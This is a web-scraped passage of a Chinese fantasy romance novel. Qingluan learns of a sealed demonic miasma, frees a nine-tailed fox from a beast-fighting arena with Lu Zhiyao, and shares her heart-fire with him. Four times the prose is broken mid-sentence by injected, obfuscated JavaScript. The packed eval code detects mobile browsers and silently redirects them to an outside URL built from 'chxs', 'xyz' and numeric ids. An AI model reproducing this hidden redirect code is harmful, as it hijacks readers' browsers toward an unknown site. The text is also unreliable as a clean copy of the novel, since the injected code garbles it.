在这个国度中生活着的人们天生矮小,大多不足一尺高,如果说方才见到的那些魁梧巨人所生活的国度是大人国,那么眼前这个国度便是名副其实的小人国了。 青鸾缩小了自己的体型,像方才一样在集市里东张西望地溜达了一番,然后继续往东边走。 接下来路过的几个国度看起来都比较正常,若说有什么特别之处,那便是城中之人皆会御兽。 这一路上的所见所闻都令青鸾感到无比新奇,每一个地方都有她不曾见过的风光。但她一直忙着赶路,并没有在任何一个地方多做停留,即便有时在集市溜达,也只是匆匆瞥了几眼就继续上路。 但是在经过与青丘接壤以御兽著称的白民国时,她忍不住在一个斗兽场里长久驻足。 这是她第一次知道世上竟还有斗兽场这种存在,她惊骇于斗兽二字,想着进去瞧一瞧是否是她理解的字面意思,这才在堂倌的吆喝下踏进了斗兽场。 笼中之兽互相搏命厮杀的血腥场面打破了青鸾最初听闻御兽之术时的美好幻想。 最早发现居然有人可以御兽是在路过东口之山的时候,彼时青鸾嗅见山中有一植物散发出奇妙的气味,于是好奇地凑过去闻,没想到刚把脑袋凑过去,还没瞧出个所以然来,那植物便被一只老虎抢过去叼走了。 青鸾见状不由更加好奇,这个地方的老虎居然是食素的? 她好奇地跟在老虎身后往山里面走,想要一探究竟,可是那老虎十分敏锐,走了几步便发现有人跟踪,扭过脑袋张开血盆大口冲着青鸾一顿嘶吼。 吓得青鸾愣在原地都忘了跑。 最后是一位衣冠楚楚手持佩剑之人赶来替她解了围。 只见那人行至老虎身后,摸了摸它的脑袋,然后比了一个手势,那老虎便渐渐安静下来。 将衔在口中的植物交给那人之后,老虎竟然乖巧地在他身边卧下,懒洋洋地甩着尾巴。 那人走到青鸾跟前,将手中的植物递给她:“姑娘可是要这熏华草?” 青鸾连忙摆手:“我不是要抢这草,只是觉得它的味道很奇怪,所以方才凑过去闻了闻。” 那人闻言一笑:“原来姑娘并非此地之人,也不知这草的用途。” 青鸾吸了吸鼻子:“我是第一次来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14967333|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里。”回忆了一下方才那人对这植物的称呼,她继续说道:“以前也不曾见过这熏华草。” 那人耐心地对青鸾解释:“这熏华草乃东口山特产之物,姑娘没有见过也属正常。此草入药效果奇佳,只是它的寿命极短,往往是朝开夕落,不到一日的时间便会凋零。为了在它凋零之前采它入药,我们每一个人都会御兽寻药,这样采药的效率便会高上许多。” 青鸾听完觉得甚是有趣:“御兽寻药?”她指了指卧在他身旁的老虎:“所以它方才是在替你寻药咯?” 那人点了点头,见青鸾只是单纯感到好奇,用不上这药,便将熏华草收入自己囊中:“虽然我们所使的是御兽之术,但所御之兽并不是我们的工具,而是我们的伙伴,是我们的亲人。方才小白以为你要夺药,想要吓唬吓唬你,我在这里替它向姑娘赔罪。” 说着他当真拱手朝青鸾行了一礼。 青鸾又被他这个举动吓了一跳,不过很快便反应过来,想来他当真是将那老虎视作亲人伙伴,所以才会给它起小白这么个名字,还为了它向自己赔礼致歉。 “我没事的,小白方才也只是想吓一吓我,并没有怎么样。”青鸾见此人如此友善,一派正人君子的模样,于是试探着向他打听消息:“我这是第一次来大荒,自入大荒之后,我发现几乎每一个地方都立有神君庙。为何大荒不似寻常地界修缮山神庙,反而立了许多的神君庙呢?” 那人听青鸾如此问,当即正色道:“自东海往东的大荒地界,人们修建的神君庙中所供奉的大都是长辉神君。” 提到长辉神君,他的神色又肃穆了许多:“大荒位置太过偏远,山神大多不理世事,我们其实并不像海内之人那般能够时时受到山神庇护。” “平时倒也罢了,若是碰见些天灾人祸,可谓是叫天天不应叫地地不灵。传闻几百年前大荒有魔气现世,便连九重天宫都无人能解,大荒百姓深受其害,那一年死了不少人。” “最后是长辉神君手持双剑踏东海而来,封印住了魔气,这才保住了大荒的安宁。自那以后大荒人人供奉神君,为其建庙宇,塑金身。” 青鸾听到后面脸色都变了。 她没有想到,自己在帝骁那里苦苦追寻多年而不得的答案,竟然如此轻易地便从旁人口中得知。 那人见青鸾白了脸色,还以为她有何不适:“姑娘,你没事吧?怎么脸色这般难看?” 青鸾回过神来,死死咬住嘴唇,片刻之后问他:“不知那传闻中的魔气自何处而始?长辉神君封印了魔气,他后来如何?” 那人叹了口气:“魔气自青丘而始,据说神君最后一次现身也是在青丘之地。不过封印了魔气之后他便下落不明,我们也不知他去了何处。” 说到这里,他突然想到什么,又对青鸾道:“有人猜测他已经陨落,但也有人说他其实还在青丘。当初为了封印魔气,他布下了一个前所未有的大阵,此阵需要人源源不断地输送神力,他为了维持阵法,便与那魔气一起被困在了阵中。” 114. 芙蓉浦 前所未有的大阵…… 青鸾在脑海中飞快思索。 帝宣曾在她面前布过许多阵法,但堪称前所未有之阵的应当只有一个。 那便是他最后一次来寻她时尚在钻研的生灭之阵。 青鸾终于明白,为何他会突然执着于将生灭之阵的力量发挥到极致。 原来如此…… 原来在那样早的时候,他便已在想方设法压制大荒的魔气了。 虽然仍旧不知帝宣行踪,但可以肯定的是,他最后出现的地方就是青丘。 那御兽之人见青鸾定定的不说话,脸色实在不好,又询问了一遍她是否有事,需不需要随他入城寻医。 青鸾却摇摇头同他告辞,飞身离开,加快了前往青丘的步伐。 接下来她又经过了许多地方,但都未作停留,而是一刻不停地赶路。 直到行至白民国,在堂倌的吆喝下出于好奇踏进了一个庞大的斗兽场。 不知修了多少层的建筑高耸得直入云霄,室内人声沸腾,青鸾刚一踏进大门便感受到扑面而来的纸醉金迷。 准确来说这里更像一个赌场,从斗兽到赌石不一而足,看得人眼花缭乱。想来因为此地之人皆会御兽,所以斗兽之人尤为众多。 堂倌引青鸾去的斗兽场位于此地中层,一圈又一圈的座椅环绕着一个斗场,坐在上面的人正激动地俯视着两兽相斗。 青鸾没有急着入座,待堂倌走后,她悄悄退至人群之外,目光穿过人群,静静观察着在御兽之人操控下斗得你死我活的两只野兽。 这两只野兽体型巨大,互相搏杀的场面看起来极具视觉冲击力,刺激着现场观众们的神经。 看起来这一场斗兽已经持续了很长一段时间,明明双方都已经伤痕累累,却还是在御兽之人的操控下继续搏命,发出沙哑的嘶吼,撕咬着对方的血肉。 对于它们而言,这是一场不死不休的搏斗。 青鸾观察了一会儿后,将目光落到伤得更重落于下风的那只野兽上。 那是一只九尾狐。 虽然此刻它血迹斑斑,身上没有一块好肉,但青鸾还是看得出来,在进入斗兽场前它一定是一只很漂亮的九尾狐。 面对凶悍得随时能将它撕咬入腹的猛兽,它的眼中早已流露出惧意,好几次垂下脑袋想逃,却都被控制着摇摇晃晃地冲向自己根本不可能战胜的强敌。 只要现场有人为它下注,那么它就要搏杀至最后一刻,在咽下最后一口气之前,它的命都由不得它自己。 青鸾注视着笼中命不由己的困兽,从心底生出一股恶寒。 眼前的场景与她在东口之山见到的一幕截然不同,她在东口山上见到的那个人将所御之兽视为亲人伙伴,而那只为他寻药的老虎看起来也同他十分亲近,完全没有受过虐待的样子。 这让她一度以为御兽之术其实就是人与各种兽类交流的术法而已。 却没想到它还有如此残忍的一面。 小蓝似乎是感受到了外界的异动,从乾坤袋中跃出来跳到青鸾的肩头,然后一动不动地注视着斗场中的九尾狐。 青鸾微微侧首对小蓝道:“你也想要救它,是吗?” 小蓝似乎是愣了一下,然后将目光移到青鸾身上,轻轻地点了点头。 被困在斗场中的这只九尾狐是他青丘族人。 他已离开青丘太久,不知族地发生了什么,九尾狐竟然会被人类生擒沦为笼中斗兽。 青鸾认真思考了一下该怎么把那只九尾狐救出来。 她还要抓紧时间赶去青丘,眼前这只九尾狐看起来也撑不了多久,没有时间让她慢慢筹划了。 最后她决定硬闯斗兽场。 做下决定的一瞬间她的指尖便燃起心火,小小的一簇火苗,却散发着逼人的威力。 小蓝感受到心火的力量后转头诧异地望着青鸾,他以为她会智取来着…… 他们才从东海逃出不久,帝骁虽然大概率不会将她觉醒心火之事上报九重天宫,但一定会派人捉拿她,此地人多眼杂,且不知人群中藏着多少高手,实在不适合大张旗鼓地动手。 小蓝正准备咬一口青鸾的胳膊制止她的动作,却见一只修长的手从人群中伸出,轻轻拂过青鸾的指尖熄灭了她的心火。 小蓝瞬间额角抽搐。 路之遥简直是阴魂不散,这么快就跟上来了? 路之遥从青鸾背后走出,打断了她的动作后,在她惊诧的目光中朝着斗场最高处走去。 与此同时朝玦蹦蹦跳跳地凑过来牵住青鸾的手,抬头冲她眨了眨眼:“姐姐是想救那只漂亮九尾狐吗?你放心吧,爹爹有办法!” 听着这小姑娘奶声奶气地给自己爹爹邀功,小蓝再次抽了抽额角,翻了个白眼回到了乾坤袋中。 不多时路之遥便牵着伤痕累累的九尾狐朝青鸾走来,这一场斗兽表演因有客人天价买下九尾狐而宣告结束,虽然下注之人怨声载道,但也没有什么办法,因为这就是斗兽场的规矩。 只要报出足够高的价格,便可以无视甚至改变规则。 路之遥对青鸾道:“我已经解了它身上的御兽之咒,明日将它送回青丘即可。” 青鸾垂眸望了一眼九尾狐,然后转过头,又将目光落到斗场中它的对手身上。 那只同样伤痕累累的灰狼因为九尾狐的得救而暂停了本轮厮杀,它在御兽者的操控下耷拉着耳朵和尾巴走进笼中,身后留下一地血迹。 青鸾看着它独自在锈迹斑斑的铁笼中舔舐着伤口,目光里流露出不忍。 不待她开口,路之遥便猜中了她的心思:“你还想救下这只灰狼吗?”想了想,他又说道:“这斗兽场如此庞大,像它们一样被操控着互相搏斗供人下注的野兽不计其数,你想将它们都救下吗?” 青鸾将目光移到路之遥身上,虽然知道这不太可能,却还是点了点头。 路之遥倒没有露出难色,他唔了一声道:“若是想救下这一只九尾狐,只需要用灵石即可,但若是想救下斗兽场中所有的野兽,那就需要使一些别的手段了。” 青鸾自然听出了他的言外之意,挑了挑眉道:“譬如我方才想用的那种手段么?” 路之遥笑了笑: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14978431|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我们得等一个合适的时机。” 带着青鸾走出斗兽场,他驻足抬首望了望天:“等天再黑一些才可以动手,在此之前我们先稍作休整。” 说完他垂首微笑着对朝玦道:“我们先回别院休息一下,好吗?” 朝玦兴奋地蹦起来,高兴之余不忘继续拉着青鸾的手撒娇:“姐姐同我们一起去吧,爹爹在这里有一个别院,院子里种了好多好多的星草,可漂亮了!我带你去看呀!” 青鸾望一眼朝玦,又望一眼路之遥,倒也没有拒绝,点了点头,随他们往那座别院而去。 路之遥在此地的别院并不太大,胜在闹中取静,不会被路过的人打扰。 刚一踏进院中便有两只灵兽扑了过来,它们先是摇着尾巴在朝玦脚边转圈,然后亲昵地蹭了蹭路之遥,最后蹲坐在青鸾面前好奇地打量她。 青鸾同样好奇地打量着它们。 这两只灵兽毛茸茸的十分可爱,一只是尺玉,一只是黄狸。 她打量了它们一会儿后,转而开始观察好整以暇指挥着朝玦安顿九尾狐的路之遥。 他似乎是有一点洁癖。 怎么看都不像是会养尺玉黄狸这种毛多不好打理且娇滴滴需要人照料的灵兽的人。 院子里,朝玦终于将九尾狐安顿好后,便开始咯咯笑着,追着两只灵兽跑来跑去。 青鸾注视着她,目光变得柔软。 路之遥养这两只灵兽,应当是因为这个小丫头吧。 想到这里她咬了咬唇,还是不敢相信路之遥居然有一个孩子这个事实。 她原以为修仙修至飞升之境的人,应该早就像帝骁一样断情绝爱了。 不过转念一想,帝骁虽然逼得自己冷心冷血,但何尝真正断情绝爱。 倘若真的断情绝爱,那就不会这般不择手段地复活阿媱了。 抬手抚上心口,她的目光不觉变得黯淡。 路之遥便在此时发问:“在想什么呢?” 青鸾抬手抚上心口后感受到心脏有力的跳动,这倒令她转移了注意力,不再思索帝骁到底有没有断情绝爱这个问题。 她注意到自己的心脏与从前相比有一些不一样了。 但又说不上具体是哪里不一样。 似乎是比从前更有力量了些。 还似乎是……更完整了一些。 感受到心脏变得完整的瞬间,一些记忆碎片呼啸着涌入她的脑海,似乎不属于她,又似乎真真切切是她过往的经历,连其中一分一毫的情绪她都能深切感知。 这些记忆太过久远太过庞杂,让她如同溺水之人无法呼吸,逼得她来不及细看回忆,便喘息着退回了现实。 她捂住心口后退两步,有些惊惶地喘着气。 路之遥上前扶住她。 她下意识攀住他的臂膀,像是要借助他的力量脱离那片令她窒息的回忆之海。 路之遥无言地注视着她。 片刻之后,她似乎从山呼海啸的记忆碎片中挣扎而出,抬首回望路之遥,目光清明。 她问他:“我是不是忘记了什么。” 115. 芙蓉浦 太过凌乱复杂的记忆侵蚀着她的意识,她竭力想要保持清醒,却面露痛苦之色。 路之遥抬手点在她的额间,被她伸手拦下。 她似乎是知道他想做什么:“你别让我睡,睡着之后我又会忘记。你告诉我,我是不是忘记了什么很重要的事情?” 路之遥手上的动作顿了顿,他的目光变得温柔:“你忘记了许多事情,但那些记忆都没有你本身重要。好好休息一下吧,不要着急,总会记起的。” 他的声音轻柔,如初春的雨丝针脚细密,催得青鸾沉沉睡去。 她倒在路之遥的怀中。 路之遥将她打横抱起,把她安顿在了星草深处的一间小屋里。 这个季节星草开得正盛,犹如繁星点点洒落人间,星光与风肆意摇曳。 青鸾睡得虽沉,但似乎并不十分踏实,没过多久便悠悠醒转,醒来后第一眼见到的便是从窗外洒进来的星草微光。 她注视着屋内轻飘飘游走着的朦胧星光,轻轻吸了口气,觉得心中安宁。 这时路之遥的声音从床榻边传来:“你醒了。” 青鸾转过头,不经意与他对视。 他的呼吸声太轻,她方才甚至没有察觉他的存在:“你一直守在这里?” 便连她自己也没有意识到,她的声音里带了些戒备之意。 “你方才梦魇了,状态很不好,我施术为你祛除。”路之遥自然察觉到了她的警惕,向她解释着自己守在此处的原因,然后起身行至房间的另一端,与她保持距离。 青鸾皱着眉头回忆了一下:“我方才梦魇了?” 可是她完全不记得自己方才梦见过什么。 路之遥背对着她,抬手打开另一扇窗户,星光落在他的肩上,愈发衬得他飘飘若仙。 他似乎是笑了一下,但那笑声里浸了一些冷意:“你梦魇时唤了一声武罗神君的名字。” “帝骁?”青鸾额角一抽:“我唤他做什么?” 路之遥回过身,面无表情:“不知道。不过我看你的表情十分痛苦,想必不是什么好梦,就帮你把那一段噩梦抹除了。” 青鸾沉默了一下:“……我是不是该说一声谢谢你。” “不客气。”路之遥推门向屋外走去:“准备出发吧,我们去斗兽场。” 青鸾坐在床上苦思冥想了一阵,努力回忆方才到底做了什么噩梦,居然让她在梦中唤帝骁的名字。 这也太惊悚了。 思索到最后她得出结论,路之遥不愧帝师的名号,手段实在高明,将那一段梦境抹除得干干净净,连渣都不剩。 她什么都想不起来。 瞬间有些头大。 她想不起来的事情实在是太多了,又何止是这一件。 叹了口气,她掀开被子下床向屋外走去。 路之遥正在星草园的尽头等着她。 天上的星光与星草的光芒交织着笼罩在他身上,好像下一秒就要携这位谪仙回天上去。 青鸾不自觉加快了脚下的步伐。 待走到他身边时,她的额间竟出了些薄汗。 路之遥转首望她,蹙了蹙眉,下意识抬手想要为她拭去额上的汗,犹豫了一下却又止住动作。 青鸾看出了他的犹豫,却不知他在犹豫什么:“我们现在出发去斗兽场么?要不要带上朝玦?有没有什么东西需要提前准备?” 她一口气问了许多问题。 路之遥笑了笑,声音里带着安抚:“朝玦不同我们一起,她已经休息了。” “没有什么需要提前准备的,你到时替我放风就好。” “一切都会顺利的,你不要紧张。” 青鸾愣了一下,然后不好意思地摸了摸自己的鼻尖。 是啊,她好像太紧张了。 自从做了那个可怕的预言梦之后,她好像时刻都紧绷着神经,生怕一招不慎重新落入深渊。 每一件事情都需要她小心完成,每一个变动都令她感到紧张。 然而这一次不用。 这次路之遥和她一起。 这种感觉有点奇妙,但究竟是一种怎样的感觉青鸾竟然形容不上来。 路之遥领着她向外走去,两人安静地行了一段路之后,拐进了一个热闹的集市。 路之遥突然顿住步子。 青鸾随他一起止住步伐,站在他的身侧仰首问他:“怎么了?是不是有什么异动?” 她的第一反应是魔族始祖之息从青丘溢出来了,与青丘接壤的白民国也有了魔气。 却听路之遥问:“你想不想吃烤串?” 青鸾:“啊?” 路之遥见她一副懵懵的没有反应过来的样子,又问了一遍:“你想吃烤串吗?”说完他抬手指了指前方不远处的烤肉摊:“这家烤串不错,朝玦最喜欢吃。” “我……”青鸾一时语噎,竟然不知道该说些什么。 路之遥见她僵在了原地,没有答应也没有拒绝,于是干脆地向那个烤肉摊走去:“那便尝尝吧,我去买,你在这里等我。” 青鸾听话地站在原地。 集市上灯火重重,无数行人与她擦肩而过,她隔着人群注视着路之遥的背影,遥远的记忆自识海深处浮起。 “……就吃冰雪冷圆子和半盏浮雪好不好……” “……一只是尺玉,一只是黄狸……” “夏天正是星草开得最好的时候……” 回忆断断续续,但情绪如此强烈。 她几乎忍不住要落下泪来。 “你自由了,你只属于你自己。” 最后一道声音在她的脑海响起,然后如同烟花在夜幕中轰然炸裂。 灰暗无光的识海陡然有了色彩。 她记起一些回忆,同时惊觉自己遗忘的记忆远比她以为的还要多。 路之遥便在这时拿着烤串穿过人群,自灯火阑珊中向她走来。 烤串还冒着热气,他小心地递给她:“慢点吃,别烫着了。” 她深深地注视着他,那目光仿佛是跨越了亿万光年,跋涉过山与湖泊,她终于握住了一些东西。 证明那些琐碎的记忆碎片并不是虚幻梦境的东西。 她伸手接过烤串,手指触碰到他的指尖。 “你的手好凉呀。”她对他说。 路之遥怔了一下。 “你说什么?”他的声音微颤。 青鸾没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14994483|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将手收回来,她认真地感受着他指尖的温度:“你的手一直都这样凉吗?” 路之遥深深地注视着她,似乎是在确认,她是否记起了一些他不知晓的事情。 青鸾却在这时将手收回。 她吃了一口烤串,轻轻地咬着竹签:“确实很好吃,我以前从没有吃过。” 顿了顿,她补充了一句:“至少在目前的记忆里,我从来没有吃过。” 路之遥沉默地站在她的身侧。 只不过片刻的工夫,两人之间的气氛变得与从前不太一样了。 青鸾安静认真地将烤串一口一口吃完:“我吃好了,我们出发吧。” “好呀。”路之遥这才回过神来,他勾了勾唇角,毫不掩饰自己突然变得愉悦的心情。 两人悠悠行至斗兽场前,虽然一路无言,但似乎都能感知到对方的情绪。 青鸾罕见地彻底放松下来,路之遥也卸去了从前一直笼罩在身上的似有若无的阴郁。 穿过热闹的集市,再拐过两条街,便到了他们白日救下九尾狐的那座斗兽场。 青鸾原本以为路之遥选择在深夜而非白天动手,是怕波及的人太多闹出的动静太大,所以才要选择一个合适的时机低调行事。可是此刻站在斗兽场前一瞧,她发现进出此地的人不仅没有因为夜深而减少,看起来反而比白日里更多。 她一头雾水地转首望着路之遥:“怎么人比白天还多,现在是不是不能动手?” 路之遥指尖闪烁起星辰般的光:“现在正是动手的最佳时机。” 青鸾见他当真要当着这么多人的面动手,忍不住再次提醒他:“可是现在人很多,你白日里说要等一个合适的时机,难道不是打算等人少的时候再动手吗?” 路之遥顿了一下,然后转首与青鸾对视:“并不是。” 青鸾额角一抽,顿觉不妙:“那是为什么?” “因为这小小赌场背后的实际操纵者是九重天宫,历任天君合力为此地布下一个阵,此阵非星辰之力不可破。”说话之间他便引动了星辰之力,只见白光一闪,眼前的赌场轰然炸裂。 路之遥负手而立,面对着被他炸开了花儿的赌场悠悠然道:“晚上是星辰之力最强大的时候,我有把握将那结界一击而碎,这就是我要等的时机。” 说完他示意青鸾随他一起离开:“走吧,接下来他们要疏散人员,还要将此事上报九重天宫,怕是要人仰马翻一阵,够那些被囚禁于此的野兽们离开这里了。” 青鸾愣住了,三言两语间就把这么大一件事轻描淡写地解决了? 她一步一回头,不可置信地注视着还在空中开花的赌场。 路之遥细心观察着她的表情:“放心,我下手有分寸,不会把那些野兽埋在这里,它们能作为斗兽被困在这里,就有自己逃生的能力。” 法阵也碎了,赌场也塌了,怎么着都能逃出来的。 青鸾却道:“可你这样不就暴露自己了?” 她补充道:“你不是说这赌场背后是九重天宫?要是让他们知道帝师炸了他们的赌场……” 路之遥冷哼一声:“那他们就该知道这是我对他们的警告,至少不会再像现在这般肆无忌惮。” 116. 芙蓉浦 青鸾:“……啊?” 她觉得路之遥这话说得多少有点倒反天罡。 路之遥耐心同她解释:“无论是斗兽还是赌场,其实都只是一个幌子,大荒还有许多这样的地方。之所以抓这许多的野兽,是因为生活在大荒中的野兽与海内不太一样。” 青鸾敏锐地道:“哪里不一样?既然是九重天宫授意,那便不可能越过天君去。天君要这些野兽来做什么?” 思索到这里,其实青鸾心中已经有一个答案了。 路之遥的回答证实了她的猜想:“生活在大荒的野兽大多比较长寿,动辄可以存活上千年,甚至有的能够存活万年。即便九重天上的那些神君也没有这般长的寿命,便是天君自己也熬不过几千年光阴摧残。” “所以他们在大荒四处生擒这些长寿的野兽,为的是从它们身体里挖掘长生的秘密。” “至于那些不具有研究价值的,便会被直接处理掉,或是被扔进斗兽场中供人取乐。” “从中攫取的利益,一大部分会上缴九重天宫,另一部分被赌场自己收入囊中。他们会拿出一小部分灵石继续召人为天君卖命,四处抓捕长生之兽。” 听到这里青鸾已觉毛骨悚然,却听路之遥继续道:“除此之外,这些地方还被九重天作为据点,与妖魔等族达成一些不可告人的交易。” 青鸾瞬间反应过来,这应当才是路之遥毫不犹豫炸了赌场的根本原因。 她注视着他,目光里带着一点探究。 她原本以为眼前这个人是只顾自己不管所谓天下大事的性子。 现在她觉得对他的了解还远远不够。 “这样看着我做什么?”路之遥同样饶有兴味地注视着青鸾,对她开诚布公道:“那天君老儿越来越不知分寸,眼线都安排到我身上来了。在我踏进那座赌场之前,便有人监视着我,想必早已将我的行踪汇报给了九重天宫。” “炸了它正好给老东西提个醒,不该他打探的事情就不要瞎打听。” 青鸾第无数次抽了抽额角。 原来是因为这个…… 她果然是不够了解路之遥…… 路之遥的脑回路不由激起了她对另一个问题的好奇:“若要这么说的话其实我也可以动手炸了那座赌场的,你之所以要亲自动手,除了因为天君布下的法阵唯有星辰之力可破,还因为你想亲自炸了它泄愤?” 直觉告诉她这样合乎逻辑的想法并不是真实的答案。 果然,但听路之遥悠悠地道:“那倒也不是。” “我忘了你有心火来着,倘若没有心火,那么这世间能够破除法阵的确实唯有星辰之力。” “但有心火就不一样了,它是超脱于这世间的力量。” 他顿了顿,注视着青鸾认真地道:“心火可破万敌。” 青鸾微怔:“那为什么……” 为什么非要他亲自动手呢? 总不能真的单纯为了泄愤。 “这里既然是九重天的据点,我用星辰之力炸了它,九重天宫立马就会知晓。同样的道理,若是你用心火炸了它,天君老儿也会立马知晓。” “陌离之事败露后九重天宫对拥有心火之人可谓万分警惕,你前脚炸了赌场,后脚九重天便派人下来捉拿你了。” 说到这里他又是一声冷笑:“如此岂不是辜负了武罗神君苦苦替你隐瞒心火觉醒之事的一番好意。” 青鸾听完沉默了。 其实她多少能够猜到九重天若是知晓她觉醒心火会是何态度,原本她也以为从东海出逃之后九重天宫会立马派人捉拿她,然而行了这一路,她担心的事情并没有发生。 虽然难以理解,但她清楚是帝骁替她隐瞒了这件事情。 两人就这样各有所思一路沉默无言地回到了别院。 “接下来你有何打算?”回去之后路之遥问她:“当真要去青丘会一会那始祖之息?” 青鸾点了点头:“我跋山涉水来到大荒,本就是为了这件事情。” “那好。”路之遥也点了点头:“正巧我也要寻始祖之息,我们一路。” 以为他要同自己道别的青鸾:“什么?” 她没想到路之遥千里迢迢赶到这里也是来寻始祖之息。 路之遥语气平常地解释着自己要去寻始祖之息的原因:“我要寻一道咒律的解法,绿蚁告诉我世间能解此咒的唯有魔族始祖。” 青鸾若有所思道:“那的确是挺巧的,我们正好一路。” “回屋休息一下吧。”路之遥领着青鸾回到那间位于星草深处的小屋:“明日一早我们便启程出发。” 青鸾嗯了一声,转身朝小屋走去,行至门前又回过身来对路之遥道:“不管你是因为什么原因想要炸了赌场,总归斗场中的那些野兽是因为你才能重获自由,谢谢你。” 却见路之遥扬唇一笑,那笑容里似有些许忧伤:“你觉得它们当真自由了么?” 青鸾没料到路之遥会如此问,不禁愣在原地。 只听他继续道:“其实天地也许只是一个更大更具欺骗性的牢笼,我今生修炼所为的只不过是触碰到这牢笼的边缘而已。” 青鸾又是一愣。 她倒真没想到路之遥竟会推心置腹同她说这些。 现在她总算知道他身上那似有若无的阴郁是从何而来的了。 他似乎对一切事物感到悲观。 思索了一下,她也决定同他推心置腹:“也许如你所言,天地只是一个更大的牢笼,但是对于那些被关在笼子里扔进斗场中的野兽们来说,它们总归是从一个更小的牢笼逃到了一个更大的牢笼。我觉得这便是一种胜利。” 路之遥反问:“胜利?” “是呀!”青鸾笃定地点头:“也许所谓自由其实只是一种莫须有的说辞,也许世上永远没有绝对的自由,自由二字从来只是相对而言的,那也没有关系。只要能从囚笼迈出去,哪怕只有一点点,也是胜利。” 路之遥的眼中第一次浮现起茫然,他问她:“所以你觉得此生的意义就是追求自由么?” 青鸾认真地想了想,然后摇了摇头:“对于不同的人而言,人生的意义是不同的,但我想其实即便对于同一个人而言,在不同的阶段人生的意义也许也是不同的。” “对于目前的我来说,自由就是最珍贵的。但也许在我真正得到足够的自由后,在人生的下一个阶段,我的想法会发生改变。对于那时的我而言,也许最珍贵之物便不再是唾手可得的自由了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15016496|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>路之遥沉默了一下:“如此,人生不就没有终极意义了,你难道不会感到茫然么?” 青鸾笑了笑。 她其实很理解路之遥为何会提出这样的问题。 他实在是太强大了,强大到可以随意主宰自己甚至是别人的人生,她绞尽脑汁小心筹谋才能获得的自由于他而言真的是唾手可得之物。 对于这样的人来说,没有终极意义的人生的确是无趣的。 “即便是再长生的人,他的生命也是有始有终的。”青鸾的目光一如既往坚定:“对于我来说结局如何不重要,活着的每一个瞬间才重要。我会永远为了此刻当下我认为最重要的东西而战。” 路之遥深深地注视着她,过了许久才道:“所以你能够点燃心火。” “其实心火从来不曾在你的灵魂深处熄灭。”他轻轻吸了口气:“虽然没有触碰过它,但我能够感受到它的温度。” 路之遥话音方落,他的眼前便亮起一簇心火。 青鸾将燃在指尖的心火递到路之遥面前:“那你想要摸一摸吗?” 路之遥愣在了原地。 青鸾自己也愣住了。 她也不知道为什么,在听到路之遥说他从来没有触碰过心火时脑子一抽便问出了这句话。 其实这句话刚一问出口她就后悔了。 然而后悔也没有用。 此刻的她已经燃起心火,不该说的话已经脱口而出,眼下委实是进退两难,骑虎难下。 她望着路之遥尴尬地笑了笑。 正琢磨着该怎么把这尴尬的场面圆回来,却见路之遥朝她伸出手,小心翼翼点在她的指尖,神情专注地感受着心火的炽热。 心火仿佛活了过来,感受到路之遥的靠近后,它先是微微往后缩了一下,然后试探着缠绕上路之遥修长的手指。 在两人指尖相触的一瞬间,心火陡然绽放,如烟花在他们面前蔓延。 青鸾诧异地张了张嘴,眼中倒映出心火灿烂的光。 路之遥则注视着她,将她的每一个表情收入眸中。 心火随风而起,此刻它没有攻击性,将两人裹入其中,柔软得如同一汪春水。 青鸾的呼吸变得急促起来,她感觉心脏跳得出奇的快,简直要从胸膛跃出来。 于是她收了心火,有些仓皇地往后退了几步。 这种感觉太奇怪了,让她感到不知所措。 路之遥伸手扶住她。 “夜深了,回去休息吧,明天出发的时候我叫你。”他对她说。 “是因为星辰之力吗?”青鸾苦思冥想:“我方才感觉……心火有一种莫名的悸动,从未有过的感觉……是不是因为它与你体内的星辰之力产生了共鸣?” 路之遥的声音很轻,他安抚着她,像是在哄一个无措的孩子:“也许吧。现在先回去休息,别想这些了,以后……” 他轻轻地道:“以后总有机会知道的。” 青鸾张了张嘴又闭上,最后点了点头,转身往星草深处的小屋走去。 路之遥目送着她回到房间后,垂眸注视着方才触摸过心火的指尖,观察着心火拂过的痕迹。 